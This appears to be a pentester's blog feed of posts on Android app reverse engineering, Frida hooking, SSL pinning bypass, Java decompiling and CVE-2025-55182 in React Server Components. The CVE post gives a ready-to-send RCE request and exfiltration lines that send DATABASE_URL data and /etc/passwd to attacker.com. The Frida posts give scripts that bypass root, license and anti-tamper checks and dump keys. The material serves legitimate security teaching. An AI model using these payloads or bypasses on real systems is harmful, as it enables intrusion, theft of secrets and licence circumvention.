    java -jar cfr-0.152.jar "$jar" --outputdir "$OUTPUT/java" --silent true
done

echo "[*] Running jadx for comparison..."
jadx -d "$OUTPUT/jadx" "$APK" --no-res 2>/dev/null

echo "[*] Done. Output in $OUTPUT/"
echo "    apktool/  - Decoded resources and smali"
echo "    java/     - CFR decompiled source"
echo "    jadx/     - jadx decompiled source"

What to Look For

Once you have the source, here’s what I hunt for during an assessment:

Authentication & Authorization

How are tokens stored? (SharedPreferences, SQLite, files)
Is certificate pinning implemented? How?
Are there hardcoded credentials or API keys?

Data Storage

What’s stored locally? Is it encrypted?
Are there SQLite databases with sensitive data?
Check the assets/ folder for config files

Network Communication

What endpoints does the app talk to?
Is there a debug/staging server hardcoded?
Are there websocket or MQTT connections?

Cryptography

Is crypto implemented correctly?
Are there hardcoded keys or IVs?
Is the app using weak algorithms (MD5, DES, ECB mode)?

Hidden Functionality

Debug modes or admin features
Feature flags that enable extra functionality
Test accounts or bypass codes

Next Steps

Once you’ve found interesting code paths through static analysis, you can:

Use Frida to hook methods at runtime
Bypass SSL pinning to intercept traffic
Patch the smali and rebuild the APK
Hook native functions for deeper analysis

The combination of static and dynamic analysis gives you the full picture of how an app works and where it’s vulnerable.

CVE-2025-55182: Pre-Auth RCE in React Server Components

Thu, 04 Dec 2025 12:00:00 +0000

On December 3rd, React disclosed CVE-2025-55182 - a pre-authentication remote code execution vulnerability in React Server Components with a CVSS score of 10.0.

The vulnerability affects the react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack packages in React versions 19.0.0 through 19.2.0. If you’re running Next.js, React Router with RSC, Waku, or other frameworks using these packages, you’ll want to check your systems.

The Vulnerability

React Server Components introduce a way for clients to call server-side functions through HTTP requests. When a user interacts with a Server Action (like submitting a form), React serializes the function reference and its arguments into a multipart form payload and sends it to the server. The server then deserializes this payload, resolves the function, and executes it.

The core issue is in how React’s Flight protocol parses incoming payloads. The actual exploit technique used in the wild leverages prototype pollution through the deserialization process, not direct module loading as initially reported.

The Prototype Pollution Chain

The real-world exploit uses a prototype pollution gadget chain that’s more reliable than module-based approaches. The attack works by:

Polluting Promise.prototype.then via $1:__proto__:then - This hijacks how React handles resolved server chunks
Injecting a resolved_model status - Makes React think this is a legitimate resolved server chunk
Reaching Function.constructor via $1:constructor:constructor - Accesses the Function constructor through the prototype chain
Executing arbitrary code via the _prefix field - Code placed here gets executed when the constructor is invoked

The payload structure looks like this:

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$Baced\"}",
  "_response": {
    "_prefix": "<arbitrary JavaScript code>",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

This is sent as a multipart form POST to any RSC endpoint. The Next-Action header triggers the Server Action handling code path.

Attack Chain in Action

Here’s what the full exploit looks like in practice.

Step 1: Reconnaissance

First, identify RSC endpoints. In Next.js applications, these typically live at:

POST /_next/action
POST /api/[action-name]
POST /[any-route-with-server-actions]

Any route that handles Server Actions will process the Flight protocol payload.

Step 2: Craft the Malicious Payload

The exploit payload is sent as multipart form data. Here’s a raw HTTP request:

POST / HTTP/1.1
Host: vulnerable-app.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Next-Action: 1234567890abcdef
Content-Length: 847

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="1_$ACTION_REF_1"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$Baced\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('id')","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="0"

["$K1"]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

The Next-Action header tells the server to process this as a Server Action. The payload structure exploits the Flight protocol parser.

Step 3: Trigger Execution

When the server processes this request:

React’s Flight decoder parses the multipart form
The __proto__:then reference pollutes Promise.prototype.then
The resolved_model status tricks the chunk resolver
constructor:constructor reaches Function
The code in _prefix executes via the Function constructor

Step 4: Exfiltrate Output

The clever part - output comes back in the error response:

HTTP/1.1 500 Internal Server Error
Content-Type: text/x-component

0:{"error":"Internal Server Error","digest":"uid=1000(node) gid=1000(node) groups=1000(node)"}

The command output appears in the digest field. This works because React’s error handling serializes the thrown error, and the exploit chain throws an error containing the command output.

For scenarios where errors aren’t returned, attackers use out-of-band techniques:

// DNS exfiltration
`curl http://${process.env.DATABASE_URL.split('@')[1]}.attacker.com`

// HTTP callback
`wget -q -O- http://attacker.com/callback?data=$(cat /etc/passwd | base64)`

Why This Approach Works

The prototype pollution chain is what actual attackers use because:

Bypasses WAFs - The payload looks like normal JSON data, not obvious code injection
Works with production error handling - Output can be extracted via the error digest field
Exploits the actual React Flight protocol parsing bug - Not a theoretical code path
Matches how real RSC payloads are structured - Harder to filter without breaking legitimate functionality

Early reports focused on module-based probes like vm#runInThisContext and fs#existsSync. While these work in lab environments, the prototype pollution approach is what’s being used in active exploitation because it’s more reliable against production deployments.

Real-World Prevalence

This vulnerability is widespread across production React applications.

The key factors:

Any RSC endpoint is potentially vulnerable - Not just explicit Server Actions. The Flight protocol parsing happens before action validation.
Default Next.js 15+ configurations expose RSC endpoints - The App Router enables RSC by default.
The exploit bypasses common protections - WAFs and rate limiters often don’t catch it because the payload structure is valid JSON.

If you’re running React 19.0.0-19.2.0 with any RSC-enabled framework in production, assume you’re vulnerable until patched.

Detection

To detect exploitation attempts, look for:

POST requests to RSC endpoints (/_next/action, /api/*, etc.) with Next-Action header
Multipart form data containing __proto__, constructor, or resolved_model
Error responses containing unexpected digest values

The vulnerability is exploited by sending a crafted multipart form payload. A safe detection method uses a canary string in the _prefix field - if the canary appears in the error digest response, the target is vulnerable.

Affected Frameworks

The following are affected when using vulnerable React versions:

Next.js - All versions using React 19.0.0-19.2.0
React Router - RSC APIs
Waku
Parcel RSC (@parcel/rsc)
Vite RSC (@vitejs/plugin-rsc)
Redwood SDK (rwsdk)

Patching

Upgrade to patched versions immediately:

React: 19.0.1, 19.1.2, or 19.2.1
Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, or 16.0.7

References

Hooking Native Libraries with Frida Interceptor

Tue, 25 Nov 2025 20:00:00 +0000

This is part four of my Android pentest series. We’ve covered the lab setup, SSL pinning bypass, and Java method hooking. Now let’s go deeper and hook native code.

A lot of apps implement security-sensitive logic in native libraries (.so files) to make reverse engineering harder. Crypto routines, license checks, anti-tampering — developers put this stuff in C/C++ thinking it’s safe. With Frida’s Interceptor API we can hook these functions just like we did with Java methods.

Finding Native Libraries

First we need to know what native libraries the app loads. This script lists them:

Java.perform(function() {
    var Runtime = Java.use("java.lang.Runtime");
    var loadLibrary = Runtime.loadLibrary0.overload('java.lang.Class', 'java.lang.String');
    
    loadLibrary.implementation = function(cls, lib) {
        console.log("[+] Loading library: " + lib);
        return this.loadLibrary0(cls, lib);
    };
});

Run this, use the app, and watch what gets loaded. You’ll see names like libnative-lib.so, libcrypto.so, or something app-specific.

You can also list already-loaded modules:

Process.enumerateModules({
    onMatch: function(module) {
        if (module.path.includes("/data/")) {
            console.log(module.name + " @ " + module.base);
        }
    },
    onComplete: function() {}
});

Finding Functions to Hook

Once you know the library name, you need to find the functions inside it. If you have the APK, extract the .so file and throw it into Ghidra or IDA. Look for:

Exported functions (easy to hook)
Functions with interesting names like verify, decrypt, check
Cross-references from Java native method declarations

You can also enumerate exports directly with Frida:

var module = Process.getModuleByName("libnative-lib.so");

module.enumerateExports().forEach(function(exp) {
    console.log(exp.type + " " + exp.name + " @ " + exp.address);
});

This gives you function names and addresses. Now we can hook them.

Basic Native Hooking

The Interceptor API lets us hook any native function by address. Here’s the basic pattern:

var module = Process.getModuleByName("libnative-lib.so");
var targetFunc = module.getExportByName("Java_com_target_NativeLib_verify");

Interceptor.attach(targetFunc, {
    onEnter: function(args) {
        console.log("[+] verify() called");
        console.log("    arg0: " + args[0]);
        console.log("    arg1: " + args[1]);
    },
    onLeave: function(retval) {
        console.log("    returns: " + retval);
    }
});

For JNI functions the first two arguments are always JNIEnv* and either jobject (instance method) or jclass (static method). The actual parameters start at args[2].

Reading String Arguments

Native functions often take C strings or Java strings. Here’s how to read them:

Interceptor.attach(targetFunc, {
    onEnter: function(args) {
        // For C strings (char*)
        var cString = args[2].readCString();
        console.log("C string: " + cString);
        
        // For Java strings (jstring) - need JNI env
        var env = Java.vm.getEnv();
        var jString = env.getStringUtfChars(args[2], null).readCString();
        console.log("Java string: " + jString);
    }
});

I’ve used this to pull API keys and tokens right out of native crypto functions.

Hooking Non-Exported Functions

Sometimes the interesting functions aren’t exported. You’ll need to find them by offset from static analysis. If Ghidra tells you a function is at offset 0x1234 from the library base:

var module = Process.getModuleByName("libnative-lib.so");
var funcAddr = module.base.add(0x1234);

Interceptor.attach(funcAddr, {
    onEnter: function(args) {
        console.log("[+] Hidden function called!");
    }
});

Just make sure you’re using the right offset for the architecture (ARM vs ARM64).

Modifying Return Values

Want to bypass a native check? Just change the return value:

var checkLicense = module.getExportByName("checkLicense");

Interceptor.attach(checkLicense, {
    onLeave: function(retval) {
        console.log("[+] Original return: " + retval);
        retval.replace(1);  // Force success
        console.log("[+] Modified to: 1");
    }
});

I’ve bypassed root detection, integrity checks, and license validation this way. If it returns a boolean or int, you can usually just flip it.

Dumping Encryption Keys

This is where native hooking really shines. A lot of apps do crypto in native code thinking it’s hidden. Hook the OpenSSL or custom crypto functions and grab everything:

// Hook OpenSSL's AES_set_encrypt_key
var aesSetKey = Module.findExportByName("libcrypto.so", "AES_set_encrypt_key");

if (aesSetKey) {
    Interceptor.attach(aesSetKey, {
        onEnter: function(args) {
            var keyLen = args[1].toInt32();
            console.log("[+] AES_set_encrypt_key called");
            console.log("    Key length: " + keyLen + " bits");
            console.log("    Key: " + hexdump(args[0], { length: keyLen / 8 }));
        }
    });
}

For custom crypto you’ll need to reverse engineer the library first to find the right functions, but the hooking part is the same.

Tracing Function Calls

Sometimes you want to see the call flow through native code. Frida’s Stalker API can trace every instruction but it’s heavy. For a lighter approach, hook multiple functions:

var funcsToTrace = [
    "decrypt",
    "verify",
    "processData",
    "sendRequest"
];

funcsToTrace.forEach(function(name) {
    var addr = module.getExportByName(name);
    if (addr) {
        Interceptor.attach(addr, {
            onEnter: function(args) {
                console.log("[TRACE] " + name + "() called");
            }
        });
    }
});

This gives you a high-level view of what’s happening without the overhead of full tracing.

Bypassing Anti-Frida Checks

Some apps try to detect Frida by looking for:

Frida’s default port (27042)
Frida libraries in memory
Frida’s named pipes
Specific strings in /proc/maps

You can hook the detection functions once you find them:

// Hook strstr to hide frida strings
var strstr = Module.findExportByName(null, "strstr");

Interceptor.attach(strstr, {
    onEnter: function(args) {
        this.haystack = args[0].readCString();
        this.needle = args[1].readCString();
    },
    onLeave: function(retval) {
        if (this.needle.includes("frida") || this.needle.includes("xposed")) {
            console.log("[+] Hiding: " + this.needle);
            retval.replace(ptr(0));  // Return NULL (not found)
        }
    }
});

You can also hook fopen to hide /proc/self/maps or return fake contents. It’s a cat and mouse game but usually you can win.

A Recon Script for Native Analysis

Here’s a script I use when starting native analysis on a new app:

// native-recon.js
console.log("[*] Native Recon Starting...\n");

// List app's native libraries
Process.enumerateModules({
    onMatch: function(m) {
        if (m.path.includes("/data/")) {
            console.log("[LIB] " + m.name);
            
            // List exports for each
            m.enumerateExports().forEach(function(e) {
                if (e.type === "function") {
                    console.log("  -> " + e.name);
                }
            });
        }
    },
    onComplete: function() {
        console.log("\n[*] Library enumeration complete\n");
    }
});

// Hook common crypto functions
var cryptoHooks = {
    "libcrypto.so": ["AES_encrypt", "AES_decrypt", "EVP_EncryptUpdate", "EVP_DecryptUpdate"],
    "libc.so": ["open", "read", "write"]
};

Object.keys(cryptoHooks).forEach(function(lib) {
    cryptoHooks[lib].forEach(function(func) {
        try {
            var addr = Module.findExportByName(lib, func);
            if (addr) {
                Interceptor.attach(addr, {
                    onEnter: function(args) {
                        console.log("[HOOK] " + lib + "!" + func + "()");
                    }
                });
            }
        } catch(e) {}
    });
});

console.log("[*] Hooks installed. Use the app...\n");

Tips for Native Hooking

A few things that have helped me:

Match architectures — ARM offsets are different from ARM64. Check what your target device uses.
Watch for ASLR — Always calculate addresses relative to the module base, never use hardcoded addresses.
Handle crashes gracefully — Native hooks can crash the app if you mess up. Save your work and use try/catch.
Combine with Java hooks — Often the interesting flow goes Java → Native → Java. Hook both sides.
Use hexdump() — Frida’s built-in hexdump is great for viewing binary data.

What’s Next

With native hooking you can get into parts of apps that developers thought were protected. I’ve found hardcoded keys, bypassed integrity checks, and reverse engineered proprietary protocols using these techniques.

In a future post I’ll cover automating app analysis with Frida scripts and objection. Building reusable tools saves a ton of time on engagements.

More to come!

Frida Method Hooking for Android App Analysis

Sat, 15 Nov 2025 20:00:00 +0000

This is part three of my Android pentest series. We’ve covered setting up the lab and bypassing SSL pinning. Now let’s go deeper with Frida and start hooking methods, tracing function calls, and pulling secrets out of running apps.

I’ve relied on Frida heavily on recent engagements and it’s become one of my favorite tools. It lets you inject JavaScript into running processes which means we can:

Intercept method calls and log arguments
Modify arguments before they reach the original method
Steal return values (encryption keys, tokens, etc.)
Change return values to bypass security controls
Trace execution flow through the app

All at runtime without touching the APK.

Getting Started

Make sure you have Frida installed (pip install frida-tools) and the Frida server running on your emulator or rooted device. I covered the setup in my SSL pinning post so check that out if you haven’t already.

Verify everything is working:

frida-ps -U

You should see a list of processes on the device.

Finding What to Hook

Before we can hook anything we need to know what’s in the app. I usually start by listing all the loaded classes and filtering for the app’s package name.

Save this as list-classes.js:

Java.perform(function() {
    Java.enumerateLoadedClasses({
        onMatch: function(className) {
            if (className.includes("com.target")) {
                console.log(className);
            }
        },
        onComplete: function() {
            console.log("[*] Class enumeration complete");
        }
    });
});

Run it with:

frida -U -f com.target.app -l list-classes.js --no-pause

Once you find an interesting class you can list all its methods:

Java.perform(function() {
    var targetClass = Java.use("com.target.app.crypto.AESHelper");
    var methods = targetClass.class.getDeclaredMethods();
    
    methods.forEach(function(method) {
        console.log(method.toString());
    });
});

This gives you a roadmap of what the app is doing under the hood.

Basic Method Hooking

Let’s say we found a login method and want to see what credentials are being passed. Here’s how to hook it and log the arguments:

Java.perform(function() {
    var LoginActivity = Java.use("com.target.app.LoginActivity");
    
    LoginActivity.authenticate.implementation = function(username, password) {
        console.log("[+] authenticate() called");
        console.log("    Username: " + username);
        console.log("    Password: " + password);
        
        return this.authenticate(username, password);
    };
});

This intercepts the method, logs whatever gets passed to it, then lets the original method run. Simple but incredibly useful.

Dealing with Overloaded Methods

Java methods can have the same name but different parameters. If you try to hook one and get an error about ambiguous overloads, you need to specify which version you want:

Java.perform(function() {
    var Crypto = Java.use("com.target.app.utils.Crypto");
    
    Crypto.encrypt.overload('java.lang.String').implementation = function(data) {
        console.log("[+] encrypt(String) called with: " + data);
        var result = this.encrypt(data);
        console.log("[+] Returns: " + result);
        return result;
    };
    
    Crypto.encrypt.overload('[B').implementation = function(data) {
        console.log("[+] encrypt(byte[]) called");
        console.log("[+] Data: " + bytesToHex(data));
        return this.encrypt(data);
    };
});

function bytesToHex(bytes) {
    var hex = [];
    for (var i = 0; i < bytes.length; i++) {
        hex.push(('0' + (bytes[i] & 0xFF).toString(16)).slice(-2));
    }
    return hex.join('');
}

The [B notation means byte array. It’s weird Java internal syntax but you get used to it.

Stealing Encryption Keys

This is where things get fun. A lot of apps use hardcoded keys or generate them at runtime. Either way we can grab them by hooking the crypto classes.

Java.perform(function() {
    var SecretKeySpec = Java.use("javax.crypto.spec.SecretKeySpec");
    
    SecretKeySpec.$init.overload('[B', 'java.lang.String').implementation = function(key, algorithm) {
        console.log("[+] SecretKeySpec created");
        console.log("    Algorithm: " + algorithm);
        console.log("    Key (hex): " + bytesToHex(key));
        
        return this.$init(key, algorithm);
    };
});

I’ve pulled AES keys, API secrets, and all sorts of goodies with this technique. You can also hook Cipher.doFinal() to see the actual encryption and decryption happening in real time.

Bypassing Root Detection

A lot of apps refuse to run on rooted devices. Rather than mess with hiding root, I just hook the detection methods and make them return false:

Java.perform(function() {
    var RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");
    
    RootBeer.isRooted.implementation = function() {
        console.log("[+] isRooted() called, returning false");
        return false;
    };
    
    var File = Java.use("java.io.File");
    File.exists.implementation = function() {
        var path = this.getAbsolutePath();
        if (path.indexOf("su") !== -1 || path.indexOf("magisk") !== -1) {
            console.log("[+] Hiding root path: " + path);
            return false;
        }
        return this.exists();
    };
});

RootBeer is a common detection library so this covers a lot of apps. For custom detection you’ll need to reverse engineer the app to find their specific checks.

Changing Return Values

Need to bypass a license check or make the app think you’re a premium user? Just change what the method returns:

Java.perform(function() {
    var LicenseCheck = Java.use("com.target.app.LicenseValidator");
    
    LicenseCheck.isLicensed.implementation = function() {
        console.log("[+] isLicensed() bypassed!");
        return true;
    };
    
    LicenseCheck.getDaysRemaining.implementation = function() {
        console.log("[+] getDaysRemaining() spoofed!");
        return 9999;
    };
});

I’ve used this on engagements to bypass trial restrictions and test what functionality is available in the full version.

Dumping SharedPreferences

Apps love to store things in SharedPreferences, sometimes including things they shouldn’t. Hook it and see everything the app reads:

Java.perform(function() {
    var SharedPreferences = Java.use("android.app.SharedPreferencesImpl");
    
    SharedPreferences.getString.implementation = function(key, defValue) {
        var value = this.getString(key, defValue);
        console.log("[SharedPrefs] getString(" + key + ") = " + value);
        return value;
    };
});

I’ve found API tokens, session IDs, and even passwords stored in plain text this way.

A Recon Script to Get You Started

Here’s a script I use for initial app analysis. It hooks crypto, network calls, and logging all at once:

Java.perform(function() {
    console.log("[*] Starting recon...\n");
    
    try {
        var SecretKeySpec = Java.use("javax.crypto.spec.SecretKeySpec");
        SecretKeySpec.$init.overload('[B', 'java.lang.String').implementation = function(key, algo) {
            console.log("[CRYPTO] Key created - Algorithm: " + algo);
            console.log("[CRYPTO] Key bytes: " + bytesToHex(key));
            return this.$init(key, algo);
        };
    } catch(e) {}
    
    try {
        var URL = Java.use("java.net.URL");
        URL.$init.overload('java.lang.String').implementation = function(url) {
            console.log("[NET] URL: " + url);
            return this.$init(url);
        };
    } catch(e) {}
    
    try {
        var Log = Java.use("android.util.Log");
        Log.d.overload('java.lang.String', 'java.lang.String').implementation = function(tag, msg) {
            console.log("[LOG] " + tag + ": " + msg);
            return this.d(tag, msg);
        };
    } catch(e) {}
    
    console.log("[*] Hooks installed. Use the app...\n");
});

function bytesToHex(bytes) {
    var hex = [];
    for (var i = 0; i < bytes.length; i++) {
        hex.push(('0' + (bytes[i] & 0xFF).toString(16)).slice(-2));
    }
    return hex.join('');
}

Run it, then interact with the app and watch the secrets flow by.

Tips I’ve Learned

A few things that have saved me time:

Start with static analysis — Use jadx or apktool to decompile the APK first. Find interesting classes before hooking blindly.
Wrap hooks in try/catch — If one hook fails it won’t crash your whole script.
Watch for obfuscation — Proguard renames classes to a.b.c. Look for string references to identify what’s what.
Hook constructors with $init — Useful for seeing when objects get created and with what parameters.
Use Objection for quick wins — objection -g com.app explore is faster for initial recon.

What’s Next

With Frida in your toolkit you can reverse engineer pretty much any Android app. Some things I use it for regularly:

Reverse engineering proprietary API protocols
Extracting hardcoded secrets and API keys
Bypassing authentication and licensing checks
Understanding obfuscated code through runtime analysis
Dumping decrypted data before it hits the network

In a future post I’ll cover hooking native libraries with Frida’s Interceptor API. That’s where things get really interesting.

More to come!

Android SSL Pinning Bypass with Burp Suite

Fri, 31 Oct 2025 20:00:00 +0000

This post is a follow-up to my Android Pentest Lab Build where we set up an emulated Android device. Now we’ll put that lab to use by intercepting HTTPS traffic from Android apps.

If you’ve tried to proxy app traffic through Burp Suite before, you’ve probably run into SSL pinning. The app just refuses to connect or throws SSL errors everywhere. This is because modern apps embed the expected server certificate and reject anything else — including Burp’s CA. Great for security, annoying for us.

Let’s break it.

What You’ll Need

Before we begin, make sure you have:

Android emulator from the previous post
Burp Suite installed
ADB working and in your PATH
Frida (pip install frida-tools)

Setting Up Burp

First we need Burp to listen on all interfaces so the emulator can reach it. Go to Proxy > Options and edit the listener. Set it to bind to “All interfaces” on port 8080.

Exporting the CA Certificate

We need to install Burp’s CA certificate on the Android device. In Burp, go to Proxy > Options and click Import / export CA certificate. Select Certificate in DER format and save it as burp-ca.der.

Now we need to convert it to a format Android expects:

openssl x509 -inform DER -in burp-ca.der -out burp-ca.pem
hash=$(openssl x509 -inform PEM -subject_hash_old -in burp-ca.pem | head -1)
mv burp-ca.pem ${hash}.0

Installing as a System Certificate

Here’s where it gets tricky. Android 7 and above don’t trust user-installed certificates for apps. We need to install it as a system certificate which requires root access.

Start your emulator with a writable system partition:

emulator -avd Pixel_API_25 -writable-system

Then push the certificate to the system store:

adb root
adb remount
adb push ${hash}.0 /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/${hash}.0
adb reboot

After reboot, you can verify the certificate shows up in Settings > Security > Trusted credentials > System.

Configuring the Proxy

Now we need to tell Android to route traffic through Burp:

adb shell settings put global http_proxy $(hostname -I | awk '{print $1}'):8080

You can also do this manually in Settings > Wi-Fi by long pressing your network and modifying the proxy settings.

At this point browser traffic should flow through Burp. But apps with SSL pinning will still fail. Time to bring out the big guns.

Setting Up Frida

Download the Frida server for your emulator’s architecture. Most emulators are x86 or x86_64:

adb shell getprop ro.product.cpu.abi

wget https://github.com/frida/frida/releases/download/16.1.4/frida-server-16.1.4-android-x86.xz
unxz frida-server-16.1.4-android-x86.xz

Push it to the device and run it:

adb push frida-server-16.1.4-android-x86 /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &

Verify Frida can see the device:

frida-ps -U

You should see a list of running processes.

Bypassing SSL Pinning

This is the easy part. Objection is a toolkit built on Frida that makes SSL pinning bypass trivial.

pip install objection

Find your target app’s package name:

frida-ps -Ua

Launch it with SSL pinning disabled:

objection -g com.example.targetapp explore

Once inside the objection shell just run:

android sslpinning disable

That’s it. Traffic should now flow through Burp without any SSL errors.

Using a Frida Script Instead

If you prefer doing things manually, save this as ssl-bypass.js:

Java.perform(function() {
    var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
    TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) {
        console.log('[+] Bypassing SSL Pinning for: ' + host);
        return untrustedChain;
    };
});

Run it with:

frida -U -f com.example.targetapp -l ssl-bypass.js --no-pause

Troubleshooting

Some common issues I’ve run into:

App crashes on launch with Frida — Might have Frida detection. Try using an older version or renaming the frida-server binary.
“Unable to connect to proxy” — Double check that Burp is listening on all interfaces and that you have the right IP in your proxy settings. It should be your host machine’s IP, not localhost.
Certificate not trusted — Make sure you installed it as a system cert, not a user cert. You need the -writable-system flag when launching the emulator.

What’s Next

With traffic flowing through Burp you can start analyzing API endpoints and looking for vulnerabilities. The usual suspects I check for:

Broken authentication and session management
IDOR (Insecure Direct Object References)
Sensitive data in API responses
Hardcoded secrets in requests
Missing rate limiting

In my next post I’ll cover using Frida to hook specific methods and extract secrets from running apps.

More to come!

Decompiling Java Applications with CFR

Sat, 18 Oct 2025 20:00:00 +0000

Starting a new series on Java application security. I do a lot of web app assessments and many of them involve Java backends — Spring apps, Tomcat deployments, fat JARs, the works. Being able to decompile and read the source is invaluable for finding vulnerabilities that black-box testing misses.

My go-to decompiler is CFR. It handles modern Java well, produces readable output, and runs from the command line which makes it easy to script. Let’s get into it.

Why Decompile?

When you’re pentesting a Java web app you often have access to:

WAR/JAR files from the deployment
Class files extracted from a running server
Client-side Java applets (increasingly rare but still around)
Android APKs (Dalvik bytecode converts back to Java)

Decompilation lets you see the actual business logic, find hardcoded secrets, trace authentication flows, and identify vulnerable code patterns. It’s the difference between guessing and knowing.

Getting CFR

CFR is a single JAR file with no dependencies. Grab it from the official site or use the Maven artifact:

wget https://www.benf.org/other/cfr/cfr-0.152.jar

That’s it. No installation, no setup.

Basic Usage

Decompile a single class file:

java -jar cfr-0.152.jar MyClass.class

Output goes to stdout by default. For a whole JAR:

java -jar cfr-0.152.jar application.jar --outputdir ./decompiled

This extracts and decompiles everything into a nice directory structure matching the package hierarchy.

Dealing with WAR Files

Web applications come packaged as WAR files. These are just ZIP archives with a specific structure:

myapp.war
├── META-INF/
├── WEB-INF/
│   ├── classes/      <- Compiled application code
│   ├── lib/          <- Dependency JARs
│   └── web.xml       <- Deployment descriptor
└── (static files)

The interesting stuff is in WEB-INF/classes and sometimes WEB-INF/lib if the app bundles vulnerable dependencies.

Here’s my workflow:

# Extract the WAR
unzip -q myapp.war -d myapp_extracted

# Decompile the application classes
java -jar cfr-0.152.jar myapp_extracted/WEB-INF/classes --outputdir ./decompiled

# If you need to dig into a dependency
java -jar cfr-0.152.jar myapp_extracted/WEB-INF/lib/some-lib.jar --outputdir ./decompiled_lib

Useful CFR Options

CFR has a ton of options for handling edge cases. These are the ones I use most:

--outputdir <path> — Write output to files instead of stdout
--caseinsensitivefs true — Helps on Windows where filenames are case-insensitive
--silent true — Suppress progress messages
--comments false — Skip the CFR comment header in output files
--decodestringswitch false — Sometimes helps with obfuscated code
--sugarasserts false — Can help with weird assertion patterns

For obfuscated code:

java -jar cfr-0.152.jar obfuscated.jar \
    --outputdir ./decompiled \
    --renameillegalidents true \
    --renamesmallmembers 4

The renameillegalidents flag handles classes with names that aren’t valid Java identifiers (common in obfuscated code).

Reading the Output

CFR produces pretty clean Java. It handles:

Lambda expressions
Try-with-resources
Switch expressions (newer Java)
Generics (mostly)
Inner classes

Sometimes you’ll see comments like /* synthetic */ or /* bridge */ — these are compiler-generated methods you can usually ignore.

If you see variable names like var1, var2, the original names were stripped. You’ll need to figure out what they represent from context.

A Quick Automation Script

I wrote a simple wrapper for bulk decompilation:

#!/bin/bash
# decompile.sh - Bulk decompile Java artifacts

CFR_JAR="$HOME/tools/cfr-0.152.jar"
OUTPUT_BASE="./decompiled"

for artifact in "$@"; do
    name=$(basename "$artifact" | sed 's/\.[^.]*$//')
    outdir="$OUTPUT_BASE/$name"
    
    echo "[*] Decompiling $artifact -> $outdir"
    
    if [[ "$artifact" == *.war ]]; then
        tmpdir=$(mktemp -d)
        unzip -q "$artifact" -d "$tmpdir"
        java -jar "$CFR_JAR" "$tmpdir/WEB-INF/classes" \
            --outputdir "$outdir" --silent true
        rm -rf "$tmpdir"
    else
        java -jar "$CFR_JAR" "$artifact" \
            --outputdir "$outdir" --silent true
    fi
done

echo "[+] Done"

Usage:

./decompile.sh app1.war app2.jar lib.jar

What to Look For

Once you have decompiled source, you’re looking for security issues. In future posts I’ll cover specific vulnerability patterns, but here’s a quick hit list:

Hardcoded credentials — Database passwords, API keys, encryption keys
SQL queries — String concatenation instead of prepared statements
Deserialization — ObjectInputStream.readObject() calls
Path traversal — File operations with user input
Command injection — Runtime.exec() or ProcessBuilder with user data
XXE — XML parsers without secure configuration
SSRF — HTTP clients making requests to user-controlled URLs
Weak crypto — MD5, SHA1 for passwords, ECB mode, hardcoded IVs

Grep is your friend:

# Find potential SQL injection
grep -rn "createStatement\|executeQuery\|executeUpdate" ./decompiled

# Find hardcoded passwords
grep -rn -i "password\s*=\s*\"" ./decompiled

# Find deserialization
grep -rn "ObjectInputStream\|readObject" ./decompiled

# Find command execution
grep -rn "Runtime.getRuntime().exec\|ProcessBuilder" ./decompiled

CFR vs Other Decompilers

I’ve tried most of the popular Java decompilers:

JD-GUI — GUI-based, good for quick looks but the decompiler is dated
Procyon — Solid alternative to CFR, sometimes handles edge cases differently
Fernflower — Built into IntelliJ, good quality but harder to use standalone
JADX — My go-to for Android APKs, includes dex2jar conversion
Krakatau — Handles weird bytecode that breaks other decompilers

I keep coming back to CFR because it’s reliable, actively maintained, and the CLI makes it easy to integrate into workflows. When CFR fails on something I’ll try Procyon or Krakatau.

Tips I’ve Learned

A few things that save time:

Keep the original structure — Don’t flatten the package hierarchy. You’ll need it to understand the architecture.
Decompile dependencies selectively — Don’t decompile all of WEB-INF/lib unless you need to. Focus on app code first.
Compare versions — If you can get multiple versions of an app, diff them to find recent changes (often security fixes).
Check web.xml — The deployment descriptor shows URL mappings, filters, and servlets. Good roadmap for the codebase.
Look at pom.xml or build.gradle — If included, these show dependencies and versions. Check for known CVEs.

What’s Next

This post covered the basics of getting Java source from compiled artifacts. In the next post we’ll dig into finding SQL injection vulnerabilities through code analysis — building patterns to identify injectable queries even in large codebases.

More to come!

KeyKerikiv2 Build: Part 1

Sat, 01 Jun 2019 12:00:00 +0000

For a long time I’ve wanted to take a look at the hardware side of things in the hacking industry. Throughout the years I’ve tinkered with conference badges, but never had an understanding of the amount of time required to develop such devices. With virtually no guidance I decided to jump right into a project.

The project I’ve chosen is to build a KeyKeriki v2.

The primary reasons I’ve chosen this project is because on recent engagements I’ve relied on mouse jacking to gain an intial foothold and the project seemed more low level than starting with an arduino. I learn best by being thrown into the scrum and I found the lack of how-to’s a huge challenge for myself.

Looking at the remote-exploit site there is more than enough required for someone with experience to build this. The schematic, board layout and presentation slides are provided which I reviewed.

After some googling on how to open the schematic and board files I stumbled across JLCPCB and their Easy EDA tool. This web application allowed me to open the schematic and board files. Looking at these files I was overwhelmed and barely had an idea of what I was looking at.

So, without modifications I decided to just submit the boards to JLCPCB for printing. No idea if this will even work, but with the low cost of getting these printed it seemed worth a shot. I ordered a total of 10 boards.

Conveniently, JLCPCB also allows you to create a Bill of Materials or BOM. This file contains all of the components required to build the project.

